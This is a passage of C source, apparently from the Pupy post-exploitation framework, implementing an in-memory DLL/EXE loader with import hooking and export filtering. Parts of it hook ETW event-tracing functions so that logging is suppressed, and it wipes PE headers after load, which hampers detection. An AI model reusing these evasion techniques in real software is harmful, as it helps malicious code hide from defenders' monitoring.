static BOOL
BuildResourceTables(PMEMORYMODULE module)
{
    unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase;
    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(
        (PMEMORYMODULE) module, IMAGE_DIRECTORY_ENTRY_RESOURCE);
    PIMAGE_RESOURCE_DIRECTORY rootResources;

    if (directory->Size == 0) {
        module->resources = NULL;
        return TRUE;
    }

    module->resources = codeBase + directory->VirtualAddress;
    return TRUE;
}

static
BOOL CALLBACK
GetVersionExW_Hooked(OSVERSIONINFOEXW *info) {
    NTSTATUS ntResult = RtlGetVersion(info);
    return ntResult == S_OK;
}

static
BOOL CALLBACK
GetVersionExA_Hooked(OSVERSIONINFOEXA *info) {
    OSVERSIONINFOEXW infow;
    DWORD dwResult;
    NTSTATUS ntResult = RtlGetVersion(&infow);
    if (ntResult != S_OK)
        return FALSE;

    dwResult = WideCharToMultiByte(
        CP_OEMCP, 0, infow.szCSDVersion, -1, info->szCSDVersion,
        sizeof(info->szCSDVersion), NULL, NULL
    );

    if (!SUCCEEDED(dwResult))
        return FALSE;

    info->dwOSVersionInfoSize = infow.dwOSVersionInfoSize;
    info->dwMajorVersion = infow.dwMajorVersion;
    info->dwMinorVersion = infow.dwMinorVersion;
    info->dwBuildNumber = infow.dwBuildNumber;
    info->dwPlatformId = infow.dwPlatformId;
    info->wServicePackMajor = infow.wServicePackMajor;
    info->wServicePackMinor = infow.wServicePackMinor;
    info->wSuiteMask = infow.wSuiteMask;
    info->wProductType = infow.wProductType;
    info->wReserved = infow.wReserved;

    return TRUE;
}

static
ImportHooks* GetHooks(DllHooks *dllhooks, const char *dllName)
{
    DllHooks *iter;

    for (iter = dllhooks; iter->dllname; iter ++) {
        if (!_stricmp(iter->dllname, dllName)) {
            return iter->hooks;
        }
    }

    return NULL;
}


static BOOL
BuildImportTable(PMEMORYMODULE module)
{
    unsigned char *codeBase = module->codeBase;
    PIMAGE_IMPORT_DESCRIPTOR importDesc;
    BOOL result = TRUE;

    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(
        module, IMAGE_DIRECTORY_ENTRY_IMPORT);

    ImportHooks kernel32Hooks[] = {
        {"LoadLibraryA", (FARPROC) module->callbacks->loadLibraryA},
        {"LoadLibraryW", (FARPROC) module->callbacks->loadLibraryW},
        {"LoadLibraryExA", (FARPROC) module->callbacks->loadLibraryExA},
        {"LoadLibraryExW", (FARPROC) module->callbacks->loadLibraryExW},
        {"GetModuleHandleA", (FARPROC) module->callbacks->getModuleHandleA},
        {"GetModuleHandleW", (FARPROC) module->callbacks->getModuleHandleW},
        {"GetModuleHandleExA", (FARPROC) module->callbacks->getModuleHandleExA},
        {"GetModuleHandleExW", (FARPROC) module->callbacks->getModuleHandleExW},
        {"GetModuleFileNameA", (FARPROC) module->callbacks->getModuleFileNameA},
        {"GetModuleFileNameW", (FARPROC) module->callbacks->getModuleFileNameW},

        {"GetVersionExA", (FARPROC) GetVersionExA_Hooked},
        {"GetVersionExW", (FARPROC) GetVersionExW_Hooked},

        {"FindResourceA", (FARPROC) module->callbacks->getFindResourceA},
        {"FindResourceW", (FARPROC) module->callbacks->getFindResourceW},
        {"FindResourceExA", (FARPROC) module->callbacks->getFindResourceExA},
        {"FindResourceExW", (FARPROC) module->callbacks->getFindResourceExW},
        {"SizeofResource", (FARPROC) module->callbacks->getSizeofResource},
        {"LoadResource", (FARPROC) module->callbacks->getLoadResource},

        {"CreateThread", (FARPROC) module->callbacks->createThread},

        {"GetProcAddress", (FARPROC) module->callbacks->getProcAddress},
        {"FreeLibrary", (FARPROC) module->callbacks->freeLibrary},
        {NULL, NULL}
    };

#ifdef _PUPY_PRIVATE_WS2_32
    ImportHooks ntdllHooks[] = {
        {"EtwEventRegister", (FARPROC) module->callbacks->systemEtwRegister},
        {"EtwEventWrite", (FARPROC) module->callbacks->systemEtwEventWrite},
        {"EtwEventWriteFull", (FARPROC) module->callbacks->systemEtwEventWriteFull},
        {"EtwEventUnregister", (FARPROC) module->callbacks->systemEtwUnregister},
        {NULL, NULL}
    };

    ImportHooks advapi32Hooks[] = {
        {"EventRegister", (FARPROC) module->callbacks->systemEtwRegister},
        {"EventWrite", (FARPROC) module->callbacks->systemEtwEventWrite},
        {"EventWriteFull", (FARPROC) module->callbacks->systemEtwEventWriteFull},
        {"EventUnregister", (FARPROC) module->callbacks->systemEtwUnregister},
        {NULL, NULL}
    };
#endif

    DllHooks dllHooks[] = {
        { "KERNEL32.DLL", kernel32Hooks },
#ifdef _PUPY_PRIVATE_WS2_32
        { "ADVAPI32.DLL", advapi32Hooks },
        { "NTDLL.DLL", ntdllHooks },
#endif
        {NULL, NULL}
    };

    if (directory->Size == 0)
        return TRUE;

    dprint("Resolving imports\n");

    importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress);
    for (
        ;
        !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++
    ) {
        ImportHooks *hooks = NULL;
        uintptr_t *thunkRef;
        FARPROC *funcRef;
        HCUSTOMMODULE *tmp;
        HCUSTOMMODULE handle;
        LPCSTR lpcszLibraryName = (LPCSTR) (codeBase + importDesc->Name);

        dprint(
            "Import %s (LoadLibraryA = %p)\n",
            lpcszLibraryName,
            module->callbacks->loadLibraryA
        );

        handle = module->callbacks->loadLibraryA(lpcszLibraryName);

        dprint("Import %s -> %p\n", lpcszLibraryName, handle);

        if (!handle) {
            SetLastError(ERROR_MOD_NOT_FOUND);
            result = FALSE;
            break;
        }

        tmp = (HCUSTOMMODULE *) realloc(
            module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE)));
        if (tmp == NULL) {
            module->callbacks->freeLibrary(handle);
            SetLastError(ERROR_OUTOFMEMORY);
            result = FALSE;
            break;
        }

        module->modules = tmp;
        module->modules[module->numModules++] = handle;

        if (importDesc->OriginalFirstThunk) {
            thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk);
            funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
            dprint("%s have hint table, offset=%lu\n",
                lpcszLibraryName, importDesc->OriginalFirstThunk);
        } else {
            // no hint table
            dprint("%s does not have hint table\n", lpcszLibraryName);
            thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk);
            funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
        }

        hooks = GetHooks(dllHooks, lpcszLibraryName);
        if (hooks) {
            dprint("Use hooks for %s: %p\n", lpcszLibraryName, hooks);
        }

        dprint("Resolving symbols.. (%p)\n", thunkRef);

        for (; thunkRef && *thunkRef; thunkRef++, funcRef++) {
            dprint("Thunk value: %p\n", *thunkRef);

            if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {

                dprint("Import by thunk (%d)\n", IMAGE_ORDINAL(*thunkRef));

                *funcRef = module->callbacks->getProcAddress(
                    handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef)
                );

                dprint("Import %d@%s -> %p\n",
                    IMAGE_ORDINAL(*thunkRef), lpcszLibraryName, *funcRef);

            } else {
                PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (
                    codeBase + (*thunkRef));

                dprint("Import %s@%s -> ?\n",
                    (LPCSTR)&thunkData->Name, lpcszLibraryName);

                *funcRef = GetImportAddr(
                    hooks, module->callbacks->getProcAddress,
                    handle, (LPCSTR)&thunkData->Name
                );

                dprint("Import %s@%s -> %p\n",
                    (LPCSTR)&thunkData->Name, lpcszLibraryName, *funcRef);
            }

            if (!*funcRef) {
                result = FALSE;
                break;
            }
        }

        dprint("Resolving symbols %s -> complete, result=%p\n", lpcszLibraryName, result);

        if (!result) {
            module->callbacks->freeLibrary(handle);
            SetLastError(ERROR_PROC_NOT_FOUND);
            break;
        }
    }

    return result;
}

//===============================================================================================//
#if defined(_WIN64)
BOOL WINAPI RegisterExceptionTable(PMEMORYMODULE pModule)
{
    UINT_PTR uiLibraryAddress = 0;
    UINT_PTR uiAddressArray = 0;
    UINT_PTR uiNameArray    = 0;
    UINT_PTR uiNameOrdinals = 0;
    PIMAGE_NT_HEADERS pNtHeaders             = NULL;
    PIMAGE_DATA_DIRECTORY pDataDirectory     = NULL;
    PIMAGE_RUNTIME_FUNCTION_ENTRY pExceptionDirectory = NULL;
    DWORD dwCount;
    BOOL bResult;
    unsigned char *codeBase = pModule->codeBase;

    if( pModule == NULL )
        return FALSE;

    pDataDirectory = GET_HEADER_DICTIONARY(pModule, IMAGE_DIRECTORY_ENTRY_EXCEPTION);

    if (pDataDirectory->Size == 0 || pDataDirectory->VirtualAddress == 0) {
        dprint("No exception table found\n");
        return TRUE;
    }

    // get the VA of the export directory
    pExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(codeBase + pDataDirectory->VirtualAddress);

    if (!pExceptionDirectory) {
        dprint("No exception directory found\n");
        return TRUE;
    }

    dwCount = (pDataDirectory->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1;

    dprint("Registering exception table (size=%d)\n", dwCount);
    return RtlAddFunctionTable((PRUNTIME_FUNCTION)pExceptionDirectory, dwCount, (UINT_PTR)codeBase);
}
#endif

static
DWORD fnv1a(const unsigned char *ucData, size_t size) {
    size_t i;
    DWORD dwHash = 2166136261;
    for (i=0; i<size; i++) {
        dwHash ^= ucData[i];
        dwHash *= 16777619;
    }
    return dwHash;
}

static
BOOL isAllowedSymbol(LPCSTR procname, PVOID pvExportFilter, MEMORY_LOAD_FLAGS flags) {
    size_t proclen;

    if (HIWORD(procname) == 0) {
        return TRUE;
    }

    if (!pvExportFilter) {
        return TRUE;
    }

    proclen = strlen(procname);

    switch (flags & (MEMORY_LOAD_EXPORT_FILTER_FNV1A | MEMORY_LOAD_EXPORT_FILTER_PREFIX)) {
        case MEMORY_LOAD_DEFAULT: {
            const PSTR *pIter;
            for (pIter=pvExportFilter; pIter && *pIter; pIter++) {
                LPCSTR pSymbol = *pIter;
                if (!strcmp(pSymbol, procname)) {
                    dprint("Allow import %s - by symbol\n", procname);
                    return TRUE;
                }
            }
        }
        break;

        case MEMORY_LOAD_EXPORT_FILTER_FNV1A: {
            DWORD dwProcHash = fnv1a((const unsigned char *) procname, proclen);
            PDWORD pIter;
            for (pIter=pvExportFilter; pIter && *pIter; pIter++) {
                if (*pIter == dwProcHash) {
                    dprint("Allow import %s - by fnv1a (%08x)\n",
                        procname, dwProcHash);
                    return TRUE;
                }
            }
        }
        break;

        case MEMORY_LOAD_EXPORT_FILTER_PREFIX: {
            const PSTR *pIter;
            for (pIter=pvExportFilter; pIter && *pIter; pIter++) {
                LPCSTR pPrefix = *pIter;
                size_t len = strlen(pPrefix);

                if (len > proclen)
                    continue;

                if (!strncmp(pPrefix, procname, len)) {
                    dprint("Allow import %s - prefix '%s' (%d)\n",
                        procname, pPrefix, len);
                    return TRUE;
                }
            }
        }
        break;

        default:
            dprint("Invalid flags %08x\n", flags);
    }

    dprint("Deny import: %s\n", procname);
    return FALSE;
}

VOID BuildExportTable(PMEMORYMODULE module)
{
    unsigned char *codeBase = module->codeBase;
    DWORD i;
    PDWORD nameRef;
    PWORD ordinal;
    FUNCHASH *phIdx, *phExports = NULL;
    PIMAGE_EXPORT_DIRECTORY exports = NULL;
    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);

    if (module->headers->OptionalHeader.AddressOfEntryPoint != 0) {
        if (module->isDLL) {
            module->pcDllEntry = (DllEntryProc) (module->codeBase +
                    module->headers->OptionalHeader.AddressOfEntryPoint);
            module->exeEntry = NULL;
        } else {
            module->pcDllEntry= NULL;
            module->exeEntry = (ExeEntryProc) (module->codeBase +
                module->headers->OptionalHeader.AddressOfEntryPoint);
        }
    }

    if (directory->Size)
        exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress);

    if (!(exports && exports->NumberOfNames &&
             exports->NumberOfFunctions)) {
        module->exports.dwFunctionsCount = 0;
        module->exports.fpFunctions = NULL;
        module->phExportsIndex = NULL;
        return;
    }

    module->exports.dwFunctionsCount = exports->NumberOfFunctions;
    module->exports.dwBase = exports->Base;
    module->exports.fpFunctions = (FARPROC*) malloc(
        exports->NumberOfFunctions * sizeof(FARPROC));

    // search function name in list of exported names
    nameRef = (DWORD *) (codeBase + exports->AddressOfNames);
    ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals);

    for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++) {
        LPCSTR pcName = (LPCSTR) (codeBase + (*nameRef));
        DWORD dwIdx = *ordinal;
        FARPROC proc = NULL;

        if (dwIdx > exports->NumberOfFunctions)
            continue;

        if (!isAllowedSymbol(pcName, module->pvExportFilter, module->flags))
            continue;

        proc = (FARPROC) (
            codeBase + (*(DWORD *) (
                codeBase + exports->AddressOfFunctions + (dwIdx*4))));

        module->exports.fpFunctions[dwIdx] = proc;

        phIdx = (FUNCHASH*) malloc (sizeof(FUNCHASH));
        phIdx->name = strdup(pcName);
        phIdx->proc = proc;
        HASH_ADD_KEYPTR(
            hh, phExports, phIdx->name, strlen(phIdx->name), phIdx
        );
    }

    module->phExportsIndex = phExports;
}

DWORD SizeOfPEHeader(IMAGE_NT_HEADERS *headers)
{
    return offsetof(IMAGE_NT_HEADERS, OptionalHeader) +
        headers->FileHeader.SizeOfOptionalHeader +
        (headers->FileHeader.NumberOfSections * sizeof (IMAGE_SECTION_HEADER));
}

VOID CleanupHeaders(PMEMORYMODULE module) {
    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(
        module, IMAGE_DIRECTORY_ENTRY_EXPORT);

    dprint(
        "Cleaning PE headers at %p, size %d\n",
        module->headers, SizeOfPEHeader(module->headers));

    if (!VirtualFree(
        module->headers, SizeOfPEHeader(module->headers),
        MEM_DECOMMIT)) {
            dprint("Cleaning PE Header failed: %d\n", GetLastError());
        }
}

BOOL _CreateModuleMapping(HMODULE hModule, HANDLE *phMapping, PVOID *ppvMem)
{
    CHAR szDllPath[MAX_PATH+1];

    HANDLE hFile;
    HANDLE hMapping;
    PVOID pvMem;

    if (!GetModuleFileNameA(hModule, szDllPath, sizeof(szDllPath))) {
        return FALSE;
    }

    dprint("CreateMapping of %s\n", szDllPath);
    hFile = CreateFileA(
        szDllPath,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hFile == INVALID_HANDLE_VALUE) {
        dprint("Failed to open %s: %d\n", szDllPath, GetLastError());
        return FALSE;
    }

    hMapping = CreateFileMappingA(
        hFile,
        NULL,
        PAGE_READONLY,
        0,
        0,
        NULL
    );

    CloseHandle(hFile);

    if (hMapping == INVALID_HANDLE_VALUE) {
        dprint("Failed create mapping of %s: %d\n", szDllPath, GetLastError());
        return FALSE;
    }

    pvMem = MapViewOfFile(
        hMapping,
        FILE_MAP_READ,
        0,
        0,
        0
    );

    if (!pvMem) {
        dprint("Failed create view of %s: %d\n", szDllPath, GetLastError());
        CloseHandle(hMapping);
        return FALSE;
    }

    *phMapping = hMapping;
    *ppvMem = pvMem;
    return TRUE;
}

#define _ISSET(dw, x) ((dw) & (x))

HMEMORYMODULE MemoryLoadLibraryEx(
    const PVOID pvData,
    PDL_CALLBACKS pdlCallbacks,
    PVOID pvDllMainReserved,
    const PVOID pvExportFilter,
    MEMORY_LOAD_FLAGS flags
)
{
    PMEMORYMODULE result = NULL;
    PIMAGE_DOS_HEADER dos_header;
    PIMAGE_NT_HEADERS old_header;
    unsigned char *code = NULL;
    unsigned char *headers = NULL;
    SIZE_T locationDelta;
    SYSTEM_INFO sysInfo;
    HMODULE hModule;
    HMODULE hOriginalModule = NULL;
    HMODULE hAliasedModule = NULL;
    HANDLE hMapping = INVALID_HANDLE_VALUE;
    const void *pvViewOfFile = NULL;
    const unsigned char *data = NULL;

    if (!pdlCallbacks) {
        dprint("No callbacks!\n");
        return NULL;
    }

    if (_ISSET(flags, MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_UNHOOK)) {
        hOriginalModule = (HMODULE) pvData;
        if (!_CreateModuleMapping(hOriginalModule, &hMapping, &pvViewOfFile)) {
            dprint("MemoryLoadLibraryEx: Failed to mmap original module\n");
            SetLastError(ERROR_OUTOFMEMORY);
            return NULL;
        }

        data = pvViewOfFile;
    } else {
        data = (const unsigned char *) pvData;
    }

    dprint("MemoryLoadLibraryEx: Load from %p\n", data);

    dos_header = (PIMAGE_DOS_HEADER)data;
    if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
        SetLastError(ERROR_BAD_EXE_FORMAT);
        goto cleanup;
    }

    old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew];
    if (old_header->Signature != IMAGE_NT_SIGNATURE) {
        SetLastError(ERROR_BAD_EXE_FORMAT);
        goto cleanup;
    }

#ifdef _WIN64
    if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
#else
    if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) {
#endif
        SetLastError(ERROR_BAD_EXE_FORMAT);
        goto cleanup;
    }

    if (old_header->OptionalHeader.SectionAlignment & 1) {
        // Only support section alignments that are a multiple of 2
        SetLastError(ERROR_BAD_EXE_FORMAT);
        goto cleanup;
    }

#if DEBUG
    // reserve memory for image of library
    // XXX: is it correct to commit the complete memory region at once?
    //      calling DllEntry raises an exception if we don't...
    code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
        old_header->OptionalHeader.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE);
#endif

    if (code == NULL) {
        // try to allocate memory at arbitrary position
        code = (unsigned char *)VirtualAlloc(NULL,
            old_header->OptionalHeader.SizeOfImage,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_READWRITE);
        if (code == NULL) {
            SetLastError(ERROR_OUTOFMEMORY);
            dprint("Can't allocate base image\n");
            goto cleanup;
        }
    }

    dprint("ImageBase: %p - %p\n", code, code + old_header->OptionalHeader.SizeOfImage);

    result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE));
    if (result == NULL) {
        VirtualFree(code, 0, MEM_RELEASE);
        SetLastError(ERROR_OUTOFMEMORY);
        goto cleanup;
    }

    result->codeBase = code;
    result->codeSize = (ULONG) old_header->OptionalHeader.SizeOfImage;
    result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;

    result->callbacks = pdlCallbacks;
    result->flags = flags;
    result->pvExportFilter = pvExportFilter;
    result->hOriginalModule = hOriginalModule;
    if (_ISSET(flags, MEMORY_LOAD_ALIASED)) {
        result->hAliasedModule = (HMODULE) pvDllMainReserved;
    }

    GetNativeSystemInfo(&sysInfo);

    result->pageSize = sysInfo.dwPageSize;

    // commit memory for headers
    headers = (unsigned char *)VirtualAlloc(code,
        old_header->OptionalHeader.SizeOfHeaders,
        MEM_COMMIT,
        PAGE_READWRITE);

    // copy PE header to code
    memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders);
    result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew];

    // update position
    result->headers->OptionalHeader.ImageBase = (uintptr_t)code;

    // copy sections from DLL file block to new memory location
    if (!CopySections((const unsigned char *) data, old_header, result)) {
        goto error;
    }

    // adjust base address of imported data
    locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase);
    if (locationDelta != 0) {
        result->isRelocated = PerformBaseRelocation(result, locationDelta);
    } else {
        result->isRelocated = TRUE;
    }

    // Save Resources VA
    if (!BuildResourceTables(result)) {
        goto error;
    }

    // load required dlls and adjust function table of imports
    dprint("Build import table..\n");
    if (!BuildImportTable(result)) {
        goto error;
    }

    // mark memory pages depending on section headers and release
    // sections that are marked as "discardable"
    dprint("Finalize sections..\n");
    if (!FinalizeSections(result)) {
        goto error;
    }

    // TLS callbacks are executed BEFORE the main loading
    if (!_ISSET(flags, MEMORY_LOAD_NO_TLS_CALLBACKS)) {
        if (!ExecuteTLS(result)) {
            goto error;
        }
    }

#ifdef _WIN64
    if (!_ISSET(flags, MEMORY_LOAD_NO_EXCEPTION_HANDLING)) {
        // Enable exceptions
        if (!RegisterExceptionTable(result)) {
            goto error;
        }
    }
#endif

    // Build functions table
    dprint("Build export table..\n");
    BuildExportTable(result);

    // get entry point of loaded library
    if (!_ISSET(flags, MEMORY_LOAD_NO_EP) &&
            result->isDLL && result->pcDllEntry)
    {
        BOOL successfull;

        dprint(
            "Execute EP (ImageBase: %p EP: %p ARG: %p)..\n",
            code, result->pcDllEntry, pvDllMainReserved
        );

        // notify library about attaching to process
        successfull = result->pcDllEntry(
            (HINSTANCE)code, DLL_PROCESS_ATTACH,
            _ISSET(flags, MEMORY_LOAD_ALIASED) ? NULL : pvDllMainReserved
        );

        if (!successfull) {
            SetLastError(ERROR_DLL_INIT_FAILED);
            goto error;
        }
        result->initialized = TRUE;
    }

    dprint("MemoryLoadLibraryEx: Library loaded\n");

#ifndef DEBUG
    // Cleanup PE headers
    CleanupHeaders(result);

    dprint("MemoryLoadLibraryEx: headers cleaned up\n");
#endif

cleanup:
    if (pvViewOfFile)
        UnmapViewOfFile(pvViewOfFile);

    if (hMapping != INVALID_HANDLE_VALUE)
        CloseHandle(hMapping);

    return (HMEMORYMODULE)result;

error:
    dprint("MemoryLoadLibraryEx: error\n");
    // cleanup
    MemoryFreeLibrary(result);

    if (pvViewOfFile)
        UnmapViewOfFile(pvViewOfFile);

    if (hMapping != INVALID_HANDLE_VALUE)
        CloseHandle(hMapping);

    return NULL;
}

static
FARPROC _MemoryGetProcAddress(PMEMORYMODULE module, LPCSTR name)
{
    if (!module || !module->exports.dwFunctionsCount) {
        SetLastError(ERROR_PROC_NOT_FOUND);
        return NULL;
    }

    if (HIWORD(name) == 0) {
        DWORD idx;
        // load function by ordinal value
        if (LOWORD(name) < module->exports.dwBase) {
            SetLastError(ERROR_PROC_NOT_FOUND);
            return NULL;
        }

        idx = LOWORD(name) - module->exports.dwBase;
        if (idx > module->exports.dwFunctionsCount) {
            SetLastError(ERROR_PROC_NOT_FOUND);
            return NULL;
        }

        return module->exports.fpFunctions[idx];
    } else {
        FUNCHASH *phIdx;
        HASH_FIND_STR(module->phExportsIndex, name, phIdx);

        if (!phIdx) {
            SetLastError(ERROR_PROC_NOT_FOUND);
            return NULL;
        }

        return phIdx->proc;
    }
}

FARPROC MemoryGetProcAddress(HMEMORYMODULE hmodule, LPCSTR name)
{
    PMEMORYMODULE module = (PMEMORYMODULE) hmodule;
    FARPROC fpAddress;

    if (!module)
        return NULL;

    fpAddress = _MemoryGetProcAddress(module, name);

    if (!fpAddress && module->hAliasedModule) {
        dprint(
            "MemoryGetProcAddress fallback aliased -> %p\n",
            module->hAliasedModule
        );
        fpAddress = module->callbacks->systemGetProcAddress(
            module->hAliasedModule, name
        );
    }

    if (!fpAddress && module->hOriginalModule) {
        dprint(
            "MemoryGetProcAddress fallback -> %p\n",
            module->hOriginalModule
        );
        fpAddress = module->callbacks->systemGetProcAddress(
            module->hOriginalModule, name
        );
    }

    return fpAddress;
}


DWORD MemoryModuleFileNameA(HMODULE hModule, LPSTR name, DWORD dwDest)
{
    PMEMORYMODULE module = (PMEMORYMODULE) hModule;
    if (module->hAliasedModule) {
        return module->callbacks->systemGetModuleFileNameA(
            module->hAliasedModule, name, dwDest);
    }

    if (module->hOriginalModule) {
        return module->callbacks->systemGetModuleFileNameA(
            module->hOriginalModule, name, dwDest);
    }

    return 0xFFFFFFFF;
}

DWORD MemoryModuleFileNameW(HMODULE hModule, LPWSTR name, DWORD dwDest)
{
    PMEMORYMODULE module = (PMEMORYMODULE) hModule;
    if (module->hAliasedModule) {
        return module->callbacks->systemGetModuleFileNameW(
            module->hAliasedModule, name, dwDest);
    }

    if (module->hOriginalModule) {
        return module->callbacks->systemGetModuleFileNameW(
            module->hOriginalModule, name, dwDest);
    }

    return 0xFFFFFFFF;
}

void MemoryFreeLibrary(HMEMORYMODULE mod)
{
    PMEMORYMODULE module = (PMEMORYMODULE)mod;
    FUNCHASH *phIdx, *phTmp, *phExports;

    if (module == NULL) {
        return;
    }

    dprint("MemoryFreeLibrary (%p)\n", mod);

    phExports = module->phExportsIndex;

    if (module->initialized && module->pcDllEntry) {
        // notify library about detaching from process
        DllEntryProc DllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint);
        (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
    }

    if (module->modules != NULL) {
        // free previously opened libraries
        int i;
        for (i=0; i<module->numModules; i++) {
            if (module->modules[i] != NULL) {
                module->callbacks->freeLibrary(module->modules[i]);
            }
        }

        free(module->modules);
    }

    if (module->codeBase != NULL) {
        // release memory of library
        VirtualFree(module->codeBase, 0, MEM_RELEASE);
    }

    free(module->exports.fpFunctions);

    HASH_ITER(hh, phExports, phIdx, phTmp) {
        HASH_DEL(phExports, phIdx);
        free(phIdx->name);
        free(phIdx);
    }

    HeapFree(GetProcessHeap(), 0, module);
}

#define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)

HMEMORYRSRC _MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type)
{
    return _MemoryFindResourceExW(module, name, type, DEFAULT_LANGUAGE);
}

static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry(
    void *root,
    PIMAGE_RESOURCE_DIRECTORY resources,
    LPCWSTR key)
{
    PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (
        resources + 1);
    PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL;

    DWORD start;
    DWORD end;
    DWORD middle;

    if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) {
        // special case: resource id given as string
        TCHAR *endpos = NULL;
        long int tmpkey = (WORD) _tcstol((TCHAR *) &key[1], &endpos, 10);
        if (tmpkey <= 0xffff && lstrlen(endpos) == 0) {
            key = MAKEINTRESOURCEW(tmpkey);
        }
    }

    // entries are stored as ordered list of named entries,
    // followed by an ordered list of id entries - we can do
    // a binary search to find faster...
    if (IS_INTRESOURCE(key)) {
        WORD check = (WORD) (uintptr_t) key;
        start = resources->NumberOfNamedEntries;
        end = start + resources->NumberOfIdEntries;

        while (end > start) {
            WORD entryName;
            middle = (start + end) >> 1;
            entryName = (WORD) entries[middle].Name;
            if (check < entryName) {
                end = (end != middle ? middle : middle-1);
            } else if (check > entryName) {
                start = (start != middle ? middle : middle+1);
            } else {
                result = &entries[middle];
                break;
            }
        }
    } else {
        LPCWSTR searchKey;
        size_t searchKeyLen = wcslen(key);
        searchKey = key;
        start = 0;
        end = resources->NumberOfNamedEntries;
        while (end > start) {
            int cmp;
            PIMAGE_RESOURCE_DIR_STRING_U resourceString;
            middle = (start + end) >> 1;
            resourceString = (PIMAGE_RESOURCE_DIR_STRING_U) OffsetPointer(root, entries[middle].Name & 0x7FFFFFFF);
            cmp = _wcsnicmp(searchKey, resourceString->NameString, resourceString->Length);
            if (cmp == 0) {
                // Handle partial match
                if (searchKeyLen > resourceString->Length) {
                    cmp = 1;
                } else if (searchKeyLen < resourceString->Length) {
                    cmp = -1;
                }
            }
            if (cmp < 0) {
                end = (middle != end ? middle : middle-1);
            } else if (cmp > 0) {
                start = (middle != start ? middle : middle+1);
            } else {
                result = &entries[middle];
                break;
            }
        }
    }

    return result;
}

HMEMORYRSRC _MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language)
{
    PMEMORYMODULE module = (PMEMORYMODULE) hModule;
    PIMAGE_RESOURCE_DIRECTORY rootResources;
    PIMAGE_RESOURCE_DIRECTORY nameResources;
    PIMAGE_RESOURCE_DIRECTORY typeResources;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage;

    if (!module->resources) {
        // no resource table found
        SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND);
        return NULL;
    }

    if (language == DEFAULT_LANGUAGE) {
        // use language from current thread
        language = LANGIDFROMLCID(GetThreadLocale());
    }

    // resources are stored as three-level tree
    // - first node is the type
    // - second node is the name
    // - third node is the language
    rootResources = (PIMAGE_RESOURCE_DIRECTORY) module->resources;
    foundType = _MemorySearchResourceEntry(rootResources, rootResources, type);
    if (foundType == NULL) {
        SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND);
        return NULL;
    }

    typeResources = (PIMAGE_RESOURCE_DIRECTORY) (module->resources + (foundType->OffsetToData & 0x7fffffff));
    foundName = _MemorySearchResourceEntry(rootResources, typeResources, name);
    if (foundName == NULL) {
        SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND);
        return NULL;
    }

    nameResources = (PIMAGE_RESOURCE_DIRECTORY) (module->resources + (foundName->OffsetToData & 0x7fffffff));
    foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, (LPCWSTR) (uintptr_t) language);
    if (foundLanguage == NULL) {
        // requested language not found, use first available
        if (nameResources->NumberOfIdEntries == 0) {
            SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND);
            return NULL;
        }

        foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (nameResources + 1);
    }

    return (module->resources + (foundLanguage->OffsetToData & 0x7fffffff));
